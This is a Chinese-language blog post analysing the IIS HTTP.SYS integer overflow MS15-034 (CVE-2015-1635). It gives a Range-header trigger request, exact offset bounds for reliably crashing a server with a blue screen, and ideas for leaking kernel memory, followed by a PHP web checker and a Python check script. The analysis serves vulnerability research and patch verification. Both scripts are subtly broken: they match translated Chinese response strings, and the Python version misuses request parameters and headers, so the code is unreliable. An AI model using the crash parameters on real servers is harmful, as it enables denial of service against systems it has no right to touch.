前言

在4月的补丁日,微软通过标记为“高危”的MS15-034补丁,修复了HTTP.SYS中一处远程代码漏洞CVE-2015-1635。据微软公告(https://technet.microsoft.com/en-us/library/security/MS15-034)所称,当存在该漏洞的HTTP服务器接收到精心构造的HTTP请求时,可能触发远程代码在目标系统以系统权限执行。

这是对于服务器系统影响不小的安全漏洞,任何安装了微软IIS 6.0以上的的Windows Server 2008 R2/Server 2012/Server 2012 R2以及Windows 7/8/8.1操作系统都受到这个漏洞的影响。

从微软的公告致谢来看,这个漏洞是由“Citrix Security Response Team”(美国思杰公司的安全响应团队)发现,从网上公开的信息来看,Citrix公司是一家从事云计算虚拟化、虚拟桌面和远程接入技术领域的高科技企业。这也引发了Twitter上很多关于该漏洞是否是由针对Citrix公司的APT攻击中发现的疑问,而就在微软发布补丁的不到12个小时内,便有匿名用户在Pastebin网站上贴出了针对这个漏洞可用的概念验证攻击代码,似乎也印证了这一点。

笔者和360Vulcan的小伙伴们获得该信息后,就开始针对其进行深入的分析,并在12小时内初步分析清楚了漏洞的原理和利用相关信息,下面就将我们分析的一些结果分享给大家,以便更好地促进安全社区理解和防御这一高危安全漏洞。

漏洞重现

结合Pastebin网站上贴出的信息(http://pastebin.com/ypURDPc4)和微软公告,我们知道这是一个位于HTTP.SYS中的整数溢出漏洞,根据Pastebin网站的python代码,我们知道通过给IIS服务器发送这样格式的HTTP请求,就可以触发(检测)这个漏洞:

GET / HTTP/1.1Host: stuffRange: bytes=0-18446744073709551615

我们直接使用wget或curl工具,也可以直接测试这个漏洞,例如使用如下命令行:

wget 127.0.0.1 –debug –header=”Range: bytes=0-18446744073709551615″

 

此处18446744073709551615转为十六进制即是 0xFFFFFFFFFFFFFFFF(16个F),是64位无符号整形所能表达的最大整数,那么我们很容易可以想到,这个“整数溢出”必然同这个异常的超大整数有关。

Pastebin上POC的作者提供的检测工具代码认为,如上请求包,若IIS服务器返回“Requested Range Not Satisfiable”,则是存在漏洞,否则如果返回”The request has an invalid header name“,则说明漏洞已经修补。

在实测中可能很多人也会发现并非如此,针对不同的服务器,这个测试程序很可能导致服务器直接BSOD甚至直接引发VM进程Crash(对于虚拟主机),这是为什么呢?这究竟是发生在何处的什么原因的整数一处呢?在下面的小节中我们将会进一步讲到。

漏洞原理分析

HTTP.SYS是微软从IIS6.0开始,为了在Windows平台上优化IIS服务器性能而引入的一个内核模式驱动程序。它为IIS及其他需要运用HTTP协议的微软服务器功能提供HTTP请求的接收与响应、快速缓存、提高性能、日志等功能服务。

更多关于HTTP.SYS的信息,可以参考微软Technet Library中”IIS 6.0 Architecture”中的“HTTP Protocol Stack”一章(https://technet.microsoft.com/en-us/library/cc739400(v=ws.10).aspx)。 HTTP.SYS提供了两个最重要的功能是Kernel-mode caching 和Kernel mode request queuing,而本次的安全漏洞就出在Kernel mode caching(内核模式缓存)中。

这里笔者以Windows 8.1 X86平台上安装的IIS 8.5为例进行分析讲解,这里我们分析的存在漏洞的HTTP.SYS版本号为6.3.9600.16520,修补后的http.sys版本为6.3.9600.17712

Pastebin上POC代码的匿名作者提到,补丁修补了http!UlpParseRange函数,通过RtlUlonglongAdd函数实现了修补/拦截。

从测试代码和函数名上,我们都可以看出这个漏洞同HTTP头中的”Range“域有直接的关系, Range请求是HTTP协议中HTTP客户端用于只获取服务器上文件的某一部分数据的请求域,更多关于Range请求的细节和规范,可以参考RFC 7233 “Hypertext Transfer Protocol (HTTP/1.1): Range Requests”(http://www.rfc-editor.org/rfc/rfc7233.txt)。

这里先简单介绍一下http.sys缓存工作的原理,IIS进程w3wp.exe接收到HTTP请求后,将数据缓存到内核中,并整合HTTP回应头,最后由http.sys组织数据包经由网络内核组件发送出去。请求中包括Ranges对象的指定范围,而缓存中则包含了http文件和大小信息等。

我们接下来先来看看这个UlpParseRange函数,看他是否是这个漏洞的根本原因。

UlpParseRange的整个代码比较长,这里就不全部贴出了,函数的逻辑很简单,就是从Range bytes=lower-upper(也可以是lower-或-upper形式)中,解析出lower(即读取范围的开始offset)和upper(即读取范围的结束offset)),然后计算要读取的长度,在正常的情况下,upper大于lower,因此长度=upper-lower +1

这里如果是测试代码中的例子,lower=0 ,upper=0xFFFFFFFFFFFFFFFF

我们看看未修补前的代码是怎么样写的

IIS最新高危漏洞(CVE-2015-1635,MS15-034)分析以及POC在线检测源码-老D

 

通过汇编代码我们可知,这里是将upper先减去lower,再加1,得到两者之间的长度差距(例如 bytes=20-50, 则50-20+1 , 两者之间有31个字节)

按照例子里的写法,就是0xFFFFFFFFFFFFFFFF – 0 + 1 , 确实发生了整数溢出,64位无符号整数上溢为0。

我们来看修改后的版本:

IIS最新高危漏洞(CVE-2015-1635,MS15-034)分析以及POC在线检测源码-老D

这里的代码是将upper 先减去 lower,然后再用RtlUlonglongAdd 将结果同1相加,这里RtlUlonglongAdd会做安全性检查,如果相加结果溢出,则会返回STATUS_INTEGER_OVERFLOW.

由于测试代码中lower传入的是0,所以这里也发生了溢出并被捕获、阻止,但如果lower != 0,这里压根就不会捕获到整数溢出,这是怎么回事呢?真正出现问题的地方是这里吗?

实际上,这可能是POC编写者故意隐藏了一点关键细节: UlpParseRange通过操纵Range参数可以引发整数溢出,也确实被进行了修补,但是并非这个Range数据真正出现问题的地方。

我们进一步推测和分析,发现本次漏洞真正利用的地方,而是UlAdjustRangesToContentSize,这个函数用于最终修正Ranges中指定的StartingOffset和Length的合法性。

首先UrlpParseRange解析了Range参数并获得StartingOffset和Length后,会将其保存在http请求的对象中,而在解析到对应的缓存后,对比Offset + Length的大小,是否超过要请求的缓存文件数据长度,如果超出了,就要把length裁剪为适合的长度,防止读取超出的数据,见如下代码:

IIS最新高危漏洞(CVE-2015-1635,MS15-034)分析以及POC在线检测源码-老D

 

这里我们看到是一处可利用的整数溢出,Length + offset 如果发生溢出,就会小于contentsize,这里就会跳过这个”adjust”的过程,Length没有得到任何处理和修正,我们成功控制了Length。

以例子中的数值为例, length + offset = (0xFFFFFFFFFFFFFFFF + 1 ) + 0 (这个+ 1是前面UlpParseRange添加的) = 0 ,小于contentsize

而假设lower不为0,则结果 = lower ,只要结果小于contentsize,也是不会被adjust的。

也就是说,UlpParseRange处发生了整数溢出,而在此处导致了安全检查的绕过,同时,如果lower != 0 ,UlpParseRange时不会被触发整数溢出,而是应该在这里得以触发。

到这里我们就弄清楚了这个漏洞的触发流程和原理:

1.upper(range结束的offset) = 0xFFFFFFFFFFFFFFFF时,UlpParseRange或UlAdjustRangesToContentSize会触发整数溢出,导致绕过UlAdjustRangesToContentSize的Length检查2. Length 可控,但是Length = 0xFFFFFFFFFFFFFFFF – lower(range开始的offset) , 且lower必须要小于要获取目标文件的数据长度contentlength。

 

BSOD的重现和原理

看到很多测试攻击程序的研究人员都无法稳定重现BSOD,看Github上的讨论,通过调整lower的数值,有些人可以打蓝Server 2012 R2,有些人就不行,或者换个文件就不行。

实际上,我们分析了这个漏洞的原理就可以很清楚的了解其中的规律了,首先一条原则是上面已经说到的lower不能大于请求的content length,例如假设请求iisstart.htm(648Bytes),lower就必须小于647。

同时,HTTP请求的处理实际是先通过w3wp发起的进程上下文内http先解析HTTP请求包,组合成紧凑的http回应包后,通过UlSendData->UxTpTransmitPacket->UxpTpEnqueueTransmitPacket排入队列,然后再由UlSendCacheEntryWorker将其发送出去,在这个过程中,如果range指定的数据开始offset小于紧凑的数据包头部的总长度,那么就不会触发到后面继续命中缓存的处理。(range只允许对数据文件内存指定,不能指定响应头内的)

这里我使用wget添加头部的方式测试,回应包的长度应该是(针对Windows 8.1 X86)310个字节,也就是说,lower必须大于等于310个字节,其他的发送还需要调整这个数值。

所以,针对iisstart.htm , lower >= 310 且 < 647 就可以稳定触发BSOD了

进一步利用

这个漏洞难道只能BSOD吗?说好的远程代码执行呢?再深入看下漏洞触发的细节,看上去似乎不能远程代码执行,但是远程读取服务器内核内存数据是有可能的。

在UlpSendCacheEntry->UlBuildFastRangeCacheMdlChain中,http.sys会为HTTP回应头和缓存来源buffer/length(我们可控)创建MDL,那么,对于我们的超长length,就会创造一个巨大的mdl,接着放入UxTpTransmitPacket的数据包对象中,通过tcpip->netio,最后解析MDL,将数据最终发出去。

此时是可以超过缓存的空间,读取缓存内存往后的数据,如果缓存内存后面是连续的0xffffffffffffffff – lower(4GB?)左右内核内存(通常是X64),就有可能实现信息泄露。

不过首先是很难有连续的4G内存,同时通过IIS也很难一下获得如此多的数据,那么只能设法降低这个内存要求:length = 0xFFFFFFFFFFFFFFFF – lower ,且lower < contetnlength才行,我们可以想办法提高content length,达到降低Length的目的,例如在服务器上寻找一个接近4GB大小的文件:)

POC及在线检测源码

IIS最新高危漏洞(CVE-2015-1635,MS15-034)分析以及POC在线检测源码-老D

HTTP.sys远程执行代码漏洞(CVE-2015-1635,MS15-034)

远程执行代码漏洞存在于 HTTP 协议堆栈 (HTTP.sys) 中,当 HTTP.sys 未正确分析经特殊设计的 HTTP 请求时会导致此漏洞。成功利用此漏洞的攻击者可以在系统帐户的上下文中执行任意代码。https://technet.microsoft.com/zh-cn/library/security/MS15-034

在线检测源码

IIS最新高危漏洞(CVE-2015-1635,MS15-034)分析以及POC在线检测源码-老D

<?phpclass VulnStatus{const FAIL = 0;const VULN = 1;const VULN_NOT_MS = 2;const PATCHED = 3;const NOT_VULN = 4;const NOT_VULN_MS = 5;const NOT_VULN_CF = 6;public static function AsString( $status, $host ){switch( $status ){case self::FAIL : return ';<div class="alert alert-warning">无法连接到 <b>'; . $host . ';</b> 测试漏洞。</div>';;case self::VULN : return ';<div class="alert alert-danger"><b>'; . $host . ';</b> 存在漏洞。</div>';;case self::VULN_NOT_MS: return ';<div class="alert alert-warning"><b>'; . $host . ';</b> 可能存在漏洞,但它好像没使用IIS。</div>';;case self::PATCHED : return ';<div class="alert alert-success"><b>'; . $host . ';</b> 已修复。</div>';;case self::NOT_VULN : return ';<div class="alert alert-info">不能识别补丁状态 <b>'; . $host . ';</b>, 并没有使用IIS,可能不存在漏洞。</div>';;case self::NOT_VULN_MS: return ';<div class="alert alert-info">不能识别补丁状态 <b>'; . $host . ';</b>. 可能不存在漏洞。</div>';;case self::NOT_VULN_CF: return ';<div class="alert alert-success"><b>'; . $host . ';</b> 老D提示:可能使用了CloudFlare CDN加速,导致漏洞无法检测或不存在。</div>';;}return ';好像坏了';;}}$host = false;$status = false;$url = filter_input( INPUT_GET, ';host';, FILTER_SANITIZE_URL );if( !empty( $url ) && parse_url( $url, PHP_URL_SCHEME ) === null ){$url = ';http://'; . $url;}$port = parse_url( $url, PHP_URL_PORT );if( $port === null ){$port = 80;}$url = parse_url( $url, PHP_URL_HOST );if( $url !== null ){$cachekey = ';ms15034_'; . $url . ';_'; . $port;$cachetime = 300; // 5 minutes$host = htmlspecialchars( $url, ENT_HTML5 );if( $port !== 80 ){$host .= ';:'; . $port;}$memcached = new Memcached( );$memcached->addServer( ';/var/run/memcached/memcached.sock';, 0 );$status = $memcached->get( $cachekey );if( $status === false ){$fp = @fsockopen( $url, $port, $errno, $errstr, 5 );if( $fp === false ){$status = VulnStatus::FAIL;}else{stream_set_timeout( $fp, 5 );$header = "GET / HTTP/1.1\r\n";$header .= "Host: stuff\r\n";$header .= "Range: bytes=0-18446744073709551615\r\n";$header .= "Connection: close\r\n\r\n";fwrite( $fp, $header );$response = fread( $fp, 1024 );fclose( $fp );if( strpos( $response, ';您的请求范围不符合'; ) !== false ){$status = strpos( $response, ';Microsoft'; ) === false ? VulnStatus::VULN_NOT_MS : VulnStatus::VULN;}else if( strpos( $response, ';请求一个无效的header头部'; ) !== false ){$cachetime = 3600; // 缓存时间$status = VulnStatus::PATCHED;}else if( strpos( $response, ';Microsoft'; ) === false ){if( strpos( $response, ';403 Forbidden'; ) !== false && strpos( $response, ';cloudflare-nginx'; ) !== false ){$status = VulnStatus::NOT_VULN_CF;}else{$status = VulnStatus::NOT_VULN;}}else{$status = VulnStatus::NOT_VULN_MS;}}unset( $fp, $header, $response );$memcached->set( $cachekey, $status, $cachetime );}$status = VulnStatus::AsString( $status, $host );}?><!DOCTYPE HTML><html><head><meta charset="utf-8"><meta name="theme-color" content="#424242"><meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>MS15-034 测试</title><link href="//maxcdn.bootstrapcdn.com/bootstrap/3.3.4/css/bootstrap.min.css" rel="stylesheet"><style type="text/css">.container {max-width: 900px;}.masthead {position: relative;padding: 20px 0;text-align: center;color: #fff;background-color: #424242;margin-bottom: 20px;}.masthead a {color: #fff;}.footer {text-align: center;padding: 15px;color: #555;}.footer span {color: #FA5994;}.form-inline {text-align: center;margin-bottom: 20px;}.github {position: absolute;top: 0;right: 0;}</style></head><body><div><div><h1>HTTP.sys 堆栈漏洞测试</h1><h3>输入一个URL或主机名来测试服务器的 <a href="https://technet.microsoft.com/en-us/library/security/ms15-034.aspx" target="_blank">MS15-034</a> / <a href="http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-1635" target="_blank">CVE-2015-1635</a>.</h3></div></div><div><blockquote><p>在HTTP协议栈(HTTP.sys)造成当HTTP协议堆栈不正确地分析特制的HTTP请求的远程代码执行漏洞。成功利用此漏洞谁的攻击者可以在系统帐户的上下文中执行任意代码。</p><p>要利用此漏洞,攻击者必须发送一个特制的HTTP请求发送到受影响的系统。此更新通过修改Windows HTTP协议栈处理请求解决该漏洞。</p></blockquote><form id="js-form" method="GET"><div><input type="text" class="form-control input-lg" id="js-input" placeholder="baidu.com" name="host" autofocus<?php if( $host !== false ) { echo '; value="'; . $host . ';"';; } ?>><button type="submit" class="btn btn-primary btn-lg">检测</button></div></form><?php if( $status !== false ) { echo $status; } ?><div>使用Memcached分布式内存对象缓存系统 | 所有的结果查询会被缓存五分钟</div></div></body></html>

漏洞验证POC

python版

#!/usr/bin/env python__author__ = ';jastra';class bg_colors: VULN = ';33[92m'; NONVULN= ';33[95m'; EXPLOIT = ';33[91m'; try: import requests import reexcept ImportError as ierr: print(bg_colors.EXPLOIT + "Error, looks like you don';t have %s installed", ierr) def identify_iis(domain): req = requests.get(str(domain)) remote_server = req.headers[';server';] if "Microsoft-IIS" in remote_server: print(bg_colors.VULN + "[+] 服务是 " + remote_server) ms15_034_test(str(domain)) else: print(bg_colors.NONVULN + "[-] 不是IIS\n可能是: " + remote_server) def ms15_034_test(domain): print(" 启动vuln检查!") vuln_buffer = "GET / HTTP/1.1\r\nHost: stuff\r\nRange: bytes=0-18446744073709551615\r\n\r\n"; req = requests.get(str(domain), params=vuln_buffer) if req.headers[';content';] == "老D提示:请求范围不符合": print(bg_colors.EXPLOIT + "[+] 存在漏洞") else: print(bg_colors.EXPLOIT + "[-] IIS服务无法显示漏洞是否存在. "+ "需要手动检测")usr_domain = raw_input("输入域名扫描: ")identify_iis(usr_domain)